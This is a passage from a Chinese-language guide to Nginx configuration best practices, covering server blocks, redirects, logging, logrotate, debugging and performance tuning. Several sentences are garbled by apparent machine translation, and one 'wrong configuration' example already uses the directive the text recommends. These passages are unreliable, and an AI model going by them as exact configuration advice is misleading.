fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi.conf; } #图片缓存时间设置 location ~ .*.(gif|jpg|jpeg|png|bmp|swf)$ { expires 10d; } #JS 和 CSS 缓存时间设置 location ~ .*.(js|css)?$ { expires 1h; } #日志格式设定 log_format access '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" $http_x_forwarded_for'; #定义本虚拟主机的访问日志 access_log /var/log/nginx/ha97access.log access; #对 "/" 启用反向代理 location / { proxy_pass http://127.0.0.1:88; proxy_redirect off; proxy_set_header X-Real-IP $remote_addr; #后端的 Web 服务器可以通过 X-Forwarded-For 获取用户真实 IP proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; #以下是一些反向代理的配置,可选. proxy_set_header Host $host; client_max_body_size 10m; #允许客户端请求的最大单文件字节数 client_body_buffer_size 128k; #缓冲区代理缓冲用户端请求的最大字节数, ##代理设置 以下设置是 nginx 和后端服务器之间通讯的设置## proxy_connect_timeout 90; #nginx 跟后端服务器连接超时时间(代理连接超时) proxy_send_timeout 90; #后端服务器数据回传时间(代理发送超时) proxy_read_timeout 90; #连接成功后,后端服务器响应时间(代理接收超时) proxy_buffering on; #该指令开启从后端被代理服务器的响应内容缓冲 此参数开启后 proxy_buffers 和 proxy_busy_buffers_size 参数才会起作用 proxy_buffer_size 4k; #设置代理服务器(nginx)保存用户头信息的缓冲区大小 proxy_buffers 4 32k; #proxy_buffers 缓冲区,网页平均在 32k 以下的设置 proxy_busy_buffers_size 64k; #高负荷下缓冲大小(proxy_buffers*2) proxy_max_temp_file_size 2048m; #默认 1024m, 该指令用于设置当网页内容大于 proxy_buffers 时,临时文件大小的最大值.如果文件大于这个值,它将从 upstream 服务器同步地传递请求,而不是缓冲到磁盘 proxy_temp_file_write_size 512k; 这是当被代理服务器的响应过大时 nginx 一次性写入临时文件的数据量. proxy_temp_path /var/tmp/nginx/proxy_temp; ##定义缓冲存储目录,之前必须要先手动创建此目录 proxy_headers_hash_max_size 51200; proxy_headers_hash_bucket_size 6400; } #设定查看 nginx 状态的地址 location /nginxStatus { stub_status on; access_log on; auth_basic "nginxStatus"; auth_basic_user_file conf/htpasswd; #htpasswd 文件的内容可以用 apache 提供的 htpasswd 工具来产生. } #本地动静分离反向代理配置 #所有 jsp 的页面均交由 tomcat 或 resin 处理 location ~ .(jsp|jspx|do)?$ { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://127.0.0.1:8080; } #所有静态文件由 nginx 直接读取不经过 tomcat 或 resin location ~ .*.(htm|html|gif|jpg|jpeg|png|bmp|swf|ioc|rar|zip|txt|flv|mid|doc|ppt|pdf|xls|mp3|wma)$ { expires 15d; } location ~ .*.(js|css)?$ { expires 1h; } }} 基本规则管理 Nginx 配置 随着 Nginx 配置的增长,您有必要组织、管理配置内容. 当您的 Nginx 配置增加时,组织配置的需求也会增加. 井井有条的代码是: 易于理解 易于维护 易于使用 使用 include 指令可将常用服务器配置移动到单独的文件中,并将特定代码附加到全局配置,上下文等中. 我总是尝试在配置树的根目录中保留多个目录. 这些目录存储所有附加到主文件的配置文件. 我更喜欢以下结构: html - 用于默认静态文件,例如 全局 5xx 错误页面 master - 用于主要配置,例如 ACL,侦听指令和域 _acls - 用于访问控制列表,例如 地理或地图模块 _basic - 用于速率限制规则,重定向映射或代理参数 _listen - 用于所有侦听指令; 还存储 SSL 配置 _server - 用于域(localhost)配置; 还存储所有后端定义 modules - 用于动态加载到 Nginx 中的模块 snippets - 用于 Nginx 别名,配置模板 如果有必要,我会将其中一些附加到具有 server 指令的文件中. 示例: 123456789101112131415## Store this configuration in https.conf for example:listen 10.240.20.2:443 ssl;ssl_certificate /etc/nginx/master/_server/example.com/certs/nginx_example.com_bundle.crt;ssl_certificate_key /etc/nginx/master/_server/example.com/certs/example.com.key;## Include this file to the server section:server { include /etc/nginx/master/_listen/10.240.20.2/https.conf; ## And other: include /etc/nginx/master/_static/errors.conf; include /etc/nginx/master/_server/_helpers/global.conf; ... server_name domain.com www.domain.com; ... 重加载 Nginx 配置示例: 12345678910111213141516171819## 1)systemctl reload nginx## 2)service nginx reload## 3)/etc/init.d/nginx reload## 4)/usr/sbin/nginx -s reload## 5)kill -HUP $(cat /var/run/nginx.pid)## orkill -HUP $(pgrep -f "nginx: master")## 6)/usr/sbin/nginx -g 'daemon on; master_process on;' -s reload 监听 80 和 443 端口 如果您使用完全相同的配置为 HTTP 和 HTTPS 提供服务(单个服务器同时处理 HTTP 和 HTTPS 请求),Nginx 足够智能,可以忽略通过端口 80 加载的 SSL 指令. Nginx 的最佳实践是使用单独的服务器进行这样的重定向(不与您的主要配置的服务器共享),对所有内容进行硬编码,并且完全不使用正则表达式. 我不喜欢复制规则,但是单独的监听指令无疑可以帮助您维护和修改配置. 如果将多个域固定到一个 IP 地址,则很有用. 这使您可以将一个侦听指令(例如,如果将其保留在配置文件中)附加到多个域配置. 如果您使用的是 HTTPS,则可能还需要对域进行硬编码,因为您必须预先知道要提供的证书. 示例: 1234567891011## For HTTP:server { listen 10.240.20.2:80; ...}## For HTTPS:server { listen 10.240.20.2:443 ssl; ...} 显示指定监听的地址和端口Nginx 的 listen 指令用于监听指定的 IP 地址和端口号,配置形式为:listen <address>:<port>.若 IP 地址或端口缺失,Nginx 会以默认值来替换. 而且,仅当需要区分与 listen 指令中的同一级别匹配的服务器块时,才会评估 server_name 指令. 示例: 12345678910server { ## This block will be processed: listen 192.168.252.10; ## --> 192.168.252.10:80 ...}server { listen 80; ## --> *:80 --> 0.0.0.0:80 server_name api.random.com; ...} 防止使用未定义的服务器名称处理请求 Nginx 应该阻止使用未定义的服务器名称(也使用 IP 地址)处理请求.它可以防止配置错误,例如流量转发到不正确的后端.通过创建默认虚拟虚拟主机可以轻松解决该问题,该虚拟虚拟主机可以捕获带有无法识别的主机标头的所有请求. 如果没有一个 listen 指令具有 default_server 参数,则具有 address:port 对的第一台服务器将是该对的默认服务器(这意味着 Nginx 始终具有默认服务器). 如果有人使用 IP 地址而不是服务器名称发出请求,则主机请求标头字段将包含 IP 地址,并且可以使用 IP 地址作为服务器名称来处理请求. 在现代版本的 Nginx 中,不需要服务器名称_.如果找不到具有匹配的 listen 和 server_name 的服务器,Nginx 将使用默认服务器.如果您的配置分散在多个文件中,则评估顺序将不明确,因此您需要显式标记默认服务器. Nginx 使用 Host 标头进行 server_name 匹配.它不使用 TLS SNI.这意味着对于 SSL 服务器,Nginx 必须能够接受 SSL 连接,这归结为具有证书/密钥.证书/密钥可以是任意值,例如自签名. 示例: 12345678910111213141516171819202122232425262728293031323334# 将其放置在配置文件的开始位置以避免错误server { # 对于ssl选项,请记得填写SSL参数(私钥、证书、加密套件等) # 在你想要作为默认服务器的服务器listen指令中添加default_server listen 10.240.20.2:443 default_server ssl; # 我们捕获: # - 无效的域名 # - 没有"Host"头的请求 # - 以及所有其他的请求(也是因为上面的设置) # - server_name指令中不要求使用default_server - 我添加这个是为了更好地理解,我认为这是一个不成文的标准 # ...但是你应该知道,这实际上是无关紧要的,你可以在这里放任何东西. server_name _ "" default_server; ... return 444; # 我们也可以提供服务: # location / { # # 静态文件(错误页面): # # root /etc/nginx/error-pages/404; # # 或重定向: # # return 301 https://badssl.com; # # return 444; # }}server { listen 10.240.20.2:443 ssl; server_name domain.com; ...}server { listen 10.240.20.2:443 ssl; server_name domain.org; ...} 不要在 listen 或 upstream 中使用 hostname 通常,在 listen 或上游指令中使用主机名是一种不好的做法. 在最坏的情况下,Nginx 将无法绑定到所需的 TCP 套接字,这将完全阻止 Nginx 启动. 最好和更安全的方法是知道需要绑定的 IP 地址,并使用该地址代替主机名. 这也可以防止 Nginx 查找地址并消除对外部和内部解析器的依赖. 在 server_name 指令中使用$ hostname(计算机的主机名)变量也是不当行为的示例(类似于使用主机名标签). 我认为也有必要设置 IP 地址和端口号对,以防止可能难以调试的软错误. 示例: ❌ 错误配置 1234567upstream { server http://x-9s-web01-prod:8080;}server { listen rev-proxy-prod:80; ...} ⭕ 正确配置 1234567upstream { server http://192.168.252.200:8080;}server { listen 10.10.100.20:80; ...} 指令中只配置一个 SSL 此规则使调试和维护更加容易. 请记住,无论 SSL 参数如何,您都可以在同一监听指令(IP 地址)上使用多个 SSL 证书. 我认为要在多个 HTTPS 服务器之间共享一个 IP 地址,您应该使用一个 SSL 配置(例如协议,密码,曲线).这是为了防止错误和配置不匹配. 还请记住有关默认服务器的配置.这很重要,因为如果所有 listen 指令都没有 default_server 参数,则配置中的第一台服务器将是默认服务器.因此,您应该只使用一个 SSL 设置,并且在同一 IP 地址上使用多个名称. 从 Nginx 文档中: 这是由 SSL 协议行为引起的.在浏览器发送 HTTP 请求之前,已建立 SSL 连接,nginx 不知道所请求服务器的名称.因此,它可能仅提供默认服务器的证书. 还要看看这个: TLS 服务器名称指示扩展名(SNI,RFC 6066)是在单个 IP 地址上运行多个 HTTPS 服务器的更通用的解决方案,它允许浏览器在 SSL 握手期间传递请求的服务器名称,因此,服务器将知道哪个用于连接的证书. 另一个好主意是将常用服务器设置移到单独的文件(即 common / example.com.conf)中,然后将其包含在单独的服务器块中. 示例: 12345678910111213141516171819202122232425# 将此配置存储在例如 https.conf 中:listen 192.168.252.10:443 default_server ssl http2;ssl_protocols TLSv1.2;ssl_ciphers "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384";ssl_prefer_server_ciphers on;ssl_ecdh_curve secp521r1:secp384r1;...# 将此文件包含到server上下文中(为特定的监听指令绑定 domain-a.com):server { include /etc/nginx/https.conf; server_name domain-a.com; ssl_certificate domain-a.com.crt; ssl_certificate_key domain-a.com.key; ...}# 将此文件包含到server上下文中(为特定的监听指令绑定 domain-b.com):server { include /etc/nginx/https.conf; server_name domain-b.com; ssl_certificate domain-b.com.crt; ssl_certificate_key domain-b.com.key; ...} 使用 geo/map 模块替代 allow/deny 使用地图或地理模块(其中之一)可以防止用户滥用您的服务器.这样就可以创建变量,其值取决于客户端 IP 地址. 由于仅在使用变量时才对其进行求值,因此甚至仅存在大量已声明的变量.地理位置变量不会为请求处理带来任何额外费用. 这些指令提供了阻止无效访问者的完美方法,例如使用 ngx_http_geoip_module.例如,geo 模块非常适合有条件地允许或拒绝 IP. geo 模块(注意:不要将此模块误认为是 GeoIP)在加载配置时会构建内存基数树.这与路由中使用的数据结构相同,并且查找速度非常快.如果每个网络有许多唯一值,那么较长的加载时间是由在数组中搜索数据重复项引起的.否则,可能是由于插入基数树引起的. 我将两个模块都用于大型列表.您应该考虑一下,因为此规则要求使用多个 if 条件.我认为,对于简单的列表,毕竟允许/拒绝指令是更好的解决方案.看下面的例子: 12345678910111213141516171819202122# allow/deny:location /internal { include acls/internal.conf; allow 192.168.240.0/24; deny all; ...}# 对比地理位置/映射:location /internal { if ($globals_internal_map_acl) { set $pass 1; } if ($pass = 1) { proxy_pass http://localhost:80; } if ($pass != 1) { return 403; } ...} 示例: 1234567891011121314151617181920212223242526272829# Map模块:map $remote_addr $globals_internal_map_acl { # 状态码: # - 0 = 假 # - 1 = 真 default 0; # 内部网络 10.255.10.0/24 1; 10.255.20.0/24 1; 10.255.30.0/24 1; 192.168.0.0/16 1;}# Geo模块:geo $globals_internal_geo_acl { # 状态码: # - 0 = 假 # - 1 = 真 default 0; # 内部网络 10.255.10.0/24 1; 10.255.20.0/24 1; 10.255.30.0/24 1; 192.168.0.0/16 1;} Map 所有事物 使用地图管理大量重定向,并使用它们来自定义键/值对. map 指令可映射字符串,因此可以表示例如 192.168.144.0/24 作为正则表达式,并继续使用 map 指令. Map 模块提供了一种更优雅的解决方案,用于清晰地解析大量正则表达式,例如 用户代理,引荐来源. 您还可以对地图使用 include 指令,这样配置文件看起来会很漂亮. 示例: 1234567891011121314151617181920212223map $http_user_agent $device_redirect { # 默认值为"desktop" default "desktop"; # 根据不同的用户代理判断是否为移动设备 ~(?i)ip(hone|od) "mobile"; # 匹配iPhone或iPod ~(?i)android.*(mobile|mini) "mobile"; # 匹配Android手机 ~Mobile.+Firefox "mobile"; # 匹配火狐浏览器的移动版 ~^HTC "mobile"; # 匹配HTC手机 ~Fennec "mobile"; # 匹配移动版火狐浏览器Fennec ~IEMobile "mobile"; # 匹配IE的移动浏览器 ~BB10 "mobile"; # 匹配黑莓10系统手机 ~SymbianOS.*AppleWebKit "mobile"; # 匹配Symbian系统手机 ~Opera\\sMobi "mobile"; # 匹配Opera Mobile浏览器}# 在特定上下文中启用(例如,位置)if ($device_redirect = "mobile") { # 如果是移动设备,重定向到移动域名 return 301 https://m.domain.com$request_uri;} 为所有未匹配的路径设置根路径 为请求设置服务器指令内部的全局根路径. 它为未定义的位置指定根路径. 根据官方文档: 如果您在每个位置块中添加一个根路径,则不匹配的位置块将没有根路径.因此,重要的是,根指令必须在您的位置块之前发生,然后根目录指令可以在需要时覆盖该指令. 示例: 1234567891011121314151617181920server { # 设置服务的域名 server_name domain.com; # 设置网站的根目录 root /var/www/domain.com/public; # 定义处理主页的逻辑 location / { # 附加配置省略... } # 定义处理API请求的逻辑 location /api { # 附加配置省略... } # 定义处理静态资源的逻辑 location /static { # 覆盖根目录设置,特别为静态文件设置根目录 root /var/www/domain.com/static; # 附加配置省略... }} 使用 return 指令进行 URL 重定向(301、302) 这是一个简单的规则. 您应该使用服务器块和 return 语句,因为它们比评估 RegEx 更快. 因为 Nginx 停止处理请求(而不必处理正则表达式),所以它更加简单快捷. 示例 12345server { server_name www.example.com; ## return 301 https://$host$request_uri; return 301 $scheme://www.example.com$request_uri;} 配置日志轮换策略 日志文件为您提供有关服务器活动和性能以及可能出现的任何问题的反馈. 它们记录了有关请求和 Nginx 内部的详细信息. 不幸的是,日志使用了更多的磁盘空间. 您应该定义一个过程,该过程将定期存档当前日志文件并启动一个新日志文件,重命名并有选择地压缩当前日志文件,删除旧日志文件,并强制日志记录系统开始使用新日志文件. 我认为最好的工具是 logrotate. 如果我想自动管理日志,也想睡个好觉,那么我会在任何地方使用它. 这是一个旋转日志的简单程序,使用 crontab 可以工作. 它是计划的工作,而不是守护程序,因此无需重新加载其配置. 示例: 手动旋转 1234# 手动检查(所有日志文件):logrotate -dv /etc/logrotate.conf# 手动检查并强制轮转(特定的日志文件):logrotate -dv --force /etc/logrotate.d/nginx 自动旋转 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667cat > /etc/logrotate.d/nginx << __EOF__# 配置nginx日志轮转/var/log/nginx/*.log { daily # 每天执行日志轮转 missingok # 如果日志丢失也不报错 rotate 14 # 保存14份旧日志 compress # 对旧日志进行压缩 delaycompress # 延迟压缩 notifempty # 如果日志为空,则不轮转 create 0640 nginx nginx # 轮转后创建新日志文件,指定权限和所有者 sharedscripts # 脚本在所有日志轮转后运行一次 prerotate # 轮转前脚本 if [ -d /etc/logrotate.d/httpd-prerotate ]; then \\ run-parts /etc/logrotate.d/httpd-prerotate; \\ fi \\ endscript postrotate # 轮转后脚本 # 以下为注释的命令,用于发送信号给nginx主进程,但实际使用下面的命令来平滑重载nginx # test ! -f /var/run/nginx.pid || kill -USR1 `cat /var/run/nginx.pid` invoke-rc.d nginx reload >/dev/null 2>&1 # 重载nginx配置,输出重定向到/dev/null endscript}# 针对localhost的日志文件同上配置/var/log/nginx/localhost/*.log { daily missingok rotate 14 compress delaycompress notifempty create 0640 nginx nginx sharedscripts prerotate if [ -d /etc/logrotate.d/httpd-prerotate ]; then \\ run-parts /etc/logrotate.d/httpd-prerotate; \\ fi \\ endscript postrotate # 这是注释掉的命令,旨在向nginx主进程发送信号,但实际使用以下命令进行平滑重启 # test ! -f /var/run/nginx.pid || kill -USR1 `cat /var/run/nginx.pid` invoke-rc.d nginx reload >/dev/null 2>&1 # 重载nginx配置,输出重定向到/dev/null endscript}# 配置针对特定域名example.com的日志文件轮转规则,与前面的配置基本一致/var/log/nginx/domains/example.com/*.log { daily missingok rotate 14 compress delaycompress notifempty create 0640 nginx nginx sharedscripts prerotate if [ -d /etc/logrotate.d/httpd-prerotate ]; then \\ run-parts /etc/logrotate.d/httpd-prerotate; \\ fi \\ endscript postrotate # 同上,注释掉的命令可以发送信号给nginx,但推荐使用下面的命令 # test ! -f /var/run/nginx.pid || kill -USR1 `cat /var/run/nginx.pid` invoke-rc.d nginx reload >/dev/null 2>&1 # 重载nginx配置,输出重定向到/dev/null endscript}__EOF__ 不要重复索引指令,只能在 http 块中使用 一次使用 index 指令. 它只需要在您的 http 上下文中发生,并将在下面继承. 我认为我们在复制相同规则时应格外小心. 但是,当然,规则的重复有时是可以的,或者不一定是大麻烦. 示例: ❌ 错误配置 1234567891011121314151617181920212223http { ... index index.php index.htm index.html; server { server_name www.example.com; location / { index index.php index.html index.$geo.html; ... } } server { server_name www.example.com; location / { index index.php index.htm index.html; ... } location /data { index index.php; ... } ...} ⭕ 正确配置 12345678910111213141516171819http { ... index index.php index.htm index.html index.$geo.html; server { server_name www.example.com; location / { ... } } server { server_name www.example.com; location / { ... } location /data { ... } ...} Debugging使用自定义日志格式 您可以在 Nginx 配置中作为变量访问的任何内容都可以记录,包括非标准的 HTTP 标头等.因此,这是一种针对特定情况创建自己的日志格式的简单方法. 这对于调试特定的 location 指令非常有帮助. 示例: 1234567891011121314151617181920212223# 默认的主日志格式来自Nginx官方仓库:log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"';# 扩展的主日志格式:log_format main-level-0 '$remote_addr - $remote_user [$time_local] ' '"$request_method $scheme://$host$request_uri ' '$server_protocol" $status $body_bytes_sent ' '"$http_referer" "$http_user_agent" ' '$request_time';# 调试日志格式:log_format debug-level-0 '$remote_addr - $remote_user [$time_local] ' '"$request_method $scheme://$host$request_uri ' '$server_protocol" $status $body_bytes_sent ' '$request_id $pid $msec $request_time ' '$upstream_connect_time $upstream_header_time ' '$upstream_response_time "$request_filename" ' '$request_completion'; 使用调试模式来跟踪意外行为 通常,error_log 指令是在 main 中指定的,但是也可以在 server 或 location 块中指定,全局设置将被覆盖,并且这个 error_log 指令将设置其自己的日志文件路径和日志记录级别. 如果要记录 ngx_http_rewrite_module (at the notice level) ,应该在 http、server 或 location 块中开启 rewrite_log on;. 注意: 永远不要将调试日志记录留在生产环境中的文件上 不要忘记在流量非常高的站点上恢复 error_log 的调试级别 必须使用日志回滚政策 示例: 将 debug 信息写入文件 12345# 在特定上下文中开启,例如:# - global - 对全局日志进行记录# - http - 对http及其所有位置的日志进行记录# - location - 对特定位置的日志进行记录error_log /var/log/nginx/error-debug.log debug; 将 debug 信息写入内存 1error_log memory:32m debug; IP 地址/范围的调试日志: 1234events { debug_connection 192.168.252.15/32; debug_connection 10.10.10.0/24;} 为不同服务器设置不同 Debug 配置 1234567891011error_log /var/log/nginx/debug.log debug;...http { server { ## To enable debugging: error_log /var/log/nginx/domain.com/domain.com-debug.log debug; ## To disable debugging: error_log /var/log/nginx/domain.com/domain.com-debug.log; ... }} 核心转储 核心转储基本上是程序崩溃时内存的快照. Nginx 是一个非常稳定的守护程序,但是有时可能会发生正在运行的 Nginx 进程独特终止的情况. 如果要保存内存转储,它可以确保应启用两个重要的指令,但是,为了正确处理内存转储,需要做一些事情. 有关它的完整信息,请参见转储进程的内存(来自本手册). 当您的 Nginx 实例收到意外错误或崩溃时,应始终启用核心转储. 示例: 123worker_rlimit_core 500m;worker_rlimit_nofile 65535;working_directory /var/dump/nginx; 性能工作进程数 worker_processes - 用于设置 Nginx 的工作进程数. worker_processes 的默认值为 1. 设置 worker_processes 的安全做法是将其设为 auto,则启动 Nginx 时会自动分配工作进程数.当然,也可以显示的设置一个工作进程数值. 一般一个进程足够了,你可以把连接数设得很大.(worker_processes: 1,worker_connections: 10,000)如果有 SSL、gzip 这些比较消耗 CPU 的工作,而且是多核 CPU 的话,可以设为和 CPU 的数量一样.或者要处理很多很多的小文件,而且文件总大小比内存大很多的时候,也可以把进程数增加,以充分利用 IO 带宽(主要似乎是 IO 操作有 block) 示例: 1234## The safest way:worker_processes auto;## VCPU = 4 , expr $(nproc --all) - 1worker_processes 3; 最大连接数 worker_connections - 单个 Nginx 工作进程允许同时建立的外部连接的数量.数字越大,能同时处理的连接越多. worker_connections 不是随便设置的,而是与两个指标有重要关联: 内存 每个连接数分别对应一个 read_event、一个 write_event 事件,一个连接数大概占用 232 字节,2 个事件总占用 96 字节,那么一个连接总共占用 328 字节,通过数学公式可以算出 100000 个连接数大概会占用 31M = 100000 * 328 / 1024 / 1024,当然这只是 nginx 启动时,worker_connections 连接数所占用的 nginx. 操作系统级别”进程最大可打开文件数”. 进程最大可打开文件数受限于操作系统,可通过 ulimit -n 命令查询,以前是 1024,现在是 65535. nginx 提供了 worker_rlimit_nofile 指令,这是除了 ulimit 的一种设置可用的描述符的方式. 该指令与使用 ulimit 对用户的设置是同样的效果.此指令的值将覆盖 ulimit 的值,如:worker_rlimit_nofile 20960; 设置 ulimits:ulimit -SHn 65535 使用 HTTP/2 HTTP / 2 将使我们的应用程序更快,更简单且更可靠. HTTP / 2 的主要目标是通过启用完整的请求和响应多路复用来减少延迟,通过有效压缩 HTTP 标头字段来最小化协议开销,并增加对请求优先级和服务器推送的支持. HTTP / 2 与 HTTP / 1.1 向后兼容,因此有可能完全忽略它,并且一切都会像以前一样继续工作,因为如果不支持 HTTP / 2 的客户端永远不会向服务器请求 HTTP / 2 通讯升级:它们之间的通讯将完全是 HTTP1 / 1. 请注意,HTTP / 2 在单个 TCP 连接中多路复用许多请求. 通常,当使用 HTTP / 2 时,将与服务器建立单个 TCP 连接. 您还应该包括 ssl 参数,这是必需的,因为浏览器不支持未经加密的 HTTP / 2. HTTP / 2 对旧的和不安全的密码有一个非常大的黑名单,因此您应该避免使用它们. 示例: 123server { listen 10.240.20.2:443 ssl http2; ... 维护 SSL 会话 客户端每次发出请求时都进行新的 SSL 握手的需求.默认情况下,内置会话缓存并不是最佳选择,因为它只能由一个工作进程使用,并且可能导致内存碎片,最好使用共享缓存. 使用 ssl_session_cache 时,通过 SSL 保持连接的性能可能会大大提高.10M 的值是一个很好的起点(1MB 共享缓存可以容纳大约 4,000 个会话).通过共享,所有工作进程之间共享一个缓存(可以在多个虚拟服务器中使用相同名称的缓存). 但是,大多数服务器不清除会话或票证密钥,因此增加了服务器受到损害将泄漏先前(和将来)连接中的数据的风险. 示例: 1234ssl_session_cache shared:NGX_SSL_CACHE:10m;ssl_session_timeout 12h;ssl_session_tickets off;ssl_buffer_size 1400; 尽可能在 server_name 指令中使用确切名称 确切名称,以星号开头的通配符名称和以星号结尾的通配符名称存储在绑定到侦听端口的三个哈希表中. 首先搜索确切名称哈希表. 如果未找到名称,则搜索具有以星号开头的通配符名称的哈希表. 如果未在此处找到名称,则搜索带有通配符名称以星号结尾的哈希表. 搜索通配符名称哈希表比搜索精确名称哈希表要慢,因为名称是按域部分搜索的. 正则表达式是按顺序测试的,因此是最慢的方法,并且不可缩放.由于这些原因,最好在可能的地方使用确切的名称. 示例: 123456789101112# 显式地定义它们更为高效:server { listen 192.168.252.10:80; server_name example.org www.example.org *.example.org; ...}# 与使用简化形式相比:server { listen 192.168.252.10:80; server_name .example.org; ...} 避免使用 if 检查 server_name 当 Nginx 收到请求时,无论请求的是哪个子域,无论是 www.example.com 还是普通的 example.com,如果始终对 if 指令进行评估. 由于您是在请求 Nginx 检查每个请求的 Host 标头. 效率极低. 而是使用两个服务器指令,如下面的示例. 这种方法降低了 Nginx 的处理要求. 示例: ❌ 错误配置 12345678server { server_name domain.com www.domain.com; if ($host = www.domain.com) { return 301 https://domain.com$request_uri; } server_name domain.com; ...} ⭕ 正确配置 12345678910111213141516server { # 服务器域名 server_name www.domain.com; # 重定向所有请求到主域名 return 301 $scheme://domain.com$request_uri; ## 如果你强制你的网站流量使用HTTPS: ## 301 https://domain.com$request_uri; ...}server { # 监听端口和IP listen 192.168.252.10:80; # 主服务器域名 server_name domain.com; ...} 使用 $request_uri 来避免使用正则表达式 使用内置变量 $request_uri,我们可以完全避免进行任何捕获或匹配.默认情况下,正则表达式的代价较高,并且会降低性能. 此规则用于解决将 URL 不变地传递到新主机,确保仅通过现有 URI 进行返回的效率更高. 示例: ❌ 错误配置 12345## 1)rewrite ^/(.*)$ https://example.com/$1 permanent;## 2)rewrite ^ https://example.com$request_uri? permanent; ⭕ 正确配置 1return 301 https://example.com$request_uri; 使用 try_files 指令确认文件是否存在 try_files绝对是一个非常有用的指令.你可以使用try_files指令按照指定的顺序检查文件是否存在.你应该使用try_files而不是if指令.使用try_files完成这个操作绝对比使用if更好,因为if指令非常低效,它会在每个请求时都被评估.使用try_files的优势在于,只需一个命令行为就会立即切换.我认为代码的可读性也更强.try_files允许你: 从预定义列表中检查文件是否存在 从指定目录检查文件是否存在 如果没有找到任何文件,使用内部重定向 示例: ❌ 错误配置 123456789 ... root /var/www/example.com; location /images { if (-f $request_filename) { expires 30d; break; } ...} ⭕ 正确配置 123456 ... root /var/www/example.com; location /images { try_files $uri =404; ...} 使用 return 代替 rewrite 来做重定向 您应该使用服务器块和 return 语句,因为它们比通过位置块评估 RegEx 更简单,更快捷. 该指令停止处理,并将指定的代码返回给客户端. 示例: ❌ 错误配置 123456server { ... if ($host = api.domain.com) { rewrite ^/(.*)$ http://example.com/$1 permanent; } ... ⭕ 正确配置 12345678910111213server { ... # 如果请求的主机名是api.domain.com,则返回403禁止访问 if ($host = api.domain.com) { return 403; # 或者其他例子: # 如果请求的主机名是api.domain.com,则重定向到https://domain.com$request_uri # return 301 https://domain.com$request_uri; # 或者使用当前的方案和主机名进行重定向 # return 301 $scheme://$host$request_uri; } ...} 开启 PCRE JIT 来加速正则表达式处理 允许使用 JIT 的正则表达式来加速他们的处理. 通过与 PCRE 库编译 Nginx 的,你可以用你的 location 块进行复杂的操作和使用功能强大的 return 和 rewrite. PCRE JIT 可以显著加快正则表达式的处理. Nginx 的与 pcre_jit 比没有更快的幅度. 如果你试图在使用 pcre_jit;没有可用的 JIT,或者 Nginx 的与现有 JIT,但当前加载 PCRE 库编译不支持 JIT,将配置解析时发出警告. 当您编译使用 NGNIX 配置 PCRE 库时,才需要–with-PCRE-JIT 时(./configure –with-PCRE =).当使用系统 PCRE 库 JIT 是否被支持依赖于库是如何被编译. 从 Nginx 的文档: JIT 正在从与–enable-JIT 配置参数内置 8.20 版本开始 PCRE 库提供.当 PCRE 库与 nginx 的内置(–with-PCRE =)时,JIT 支持经由–with-PCRE-JIT 配置参数使能. 示例: 12## In global context:pcre_jit on; 进行精确的位置匹配以加快选择过程 精确的位置匹配通常用于通过立即结束算法的执行来加快选择过程. 示例: 1234567891011121314# 仅匹配查询 / 并停止搜索:location = / { ...}# 仅匹配查询 /v9 并停止搜索:location = /v9 { ...}...# 匹配任何查询,因为所有查询都从 / 开始,# 但是正则表达式和任何更长的常规块将首先被匹配:location / { ...} 使用 limit_conn 改善对下载速度的限制 Nginx provides two directives to limiting download speed: Nginx 提供了两个指令来限制下载速度: limit_rate_after - 设置 limit_rate 指令生效之前传输的数据量 limit_rate - 允许您限制单个客户端连接的传输速率 此解决方案限制了每个连接的 Nginx 下载速度,因此,如果一个用户打开多个(例如) 视频文件,则可以下载 X * 连接到视频文件的次数 . 示例: 12345678910111213# 创建连接数限制区域:limit_conn_zone $binary_remote_addr zone=conn_for_remote_addr:1m;# 添加规则以限制下载速度:limit_rate_after 1m; # 前 1 兆字节以最大速度运行limit_rate 250k; # 之后设置速率限制为每秒 250 千字节# 启用排队:location /videos { # 单一客户端的最大数据量:10 兆字节(limit_rate_after * 10) limit_conn conn_for_remote_addr 10; ...} 反向代理使用与后端协议兼容的 pass 指令 所有 proxy_* 指令都与使用特定后端协议的后端服务器有关.您应该仅对在后端层工作的 HTTP 服务器使用 proxy_pass(在引用 HTTP 后端前设置 http:// 协议),对于非 HTTP 后端服务器(如 uWSGI 或 FastCGI)则使用其他的 *_pass 指令.uwsgi_pass、fastcgi_pass 或 scgi_pass 等指令专为非 HTTP 应用程序设计,您应该使用它们而不是 proxy_pass(非 HTTP 通信).例如:uwsgi_pass 使用 uwsgi 协议与服务器通信.proxy_pass 使用普通 HTTP 与 uWSGI 服务器通信.uWSGI 文档声称 uwsgi 协议更好、更快,并且可以利用 uWSGI 的所有特殊功能.您可以发送信息到 uWSGI,告知您正在发送何种类型的数据以及应调用哪个 uWSGI 插件来生成响应.使用 http(proxy_pass)就无法做到这一点. 示例: ❌ 错误配置 1234567server { location /app/ { # 对于这个,你应该使用 uwsgi_pass 指令. uwsgi_pass 192.168.154.102:4000; # 后端层:uWSGI Python 应用. } ...} ⭕ 正确配置 123456789101112131415server { location /app/ { # 后端层:OpenResty 作为应用的前端. proxy_pass http://192.168.154.102:80; } location /app/v3 { # 后端层:uWSGI Python 应用. uwsgi_pass 192.168.154.102:8080; } location /app/v4 { # 后端层:php-fpm 应用. fastcgi_pass 192.168.154.102:8081; } ...} 小心 proxy_pass 指令中的斜杠 注意尾随斜杠,因为 Nginx 会逐字替换部分,并且您可能会得到一些奇怪的 URL. 如果 proxy_pass 不带 URI 使用(即 server:port 之后没有路径),Nginx 会将原始请求中的 URI 与所有双斜杠 ../ 完全一样. proxy_pass 中的 URI 就像别名指令一样,意味着 Nginx 将用 proxy_pass 指令中的 URI 替换与位置前缀匹配的部分(我故意将其与位置前缀相同),因此 URI 将与请求的相同,但被规范化(没有小写斜杠和其他所有内容) 员工). 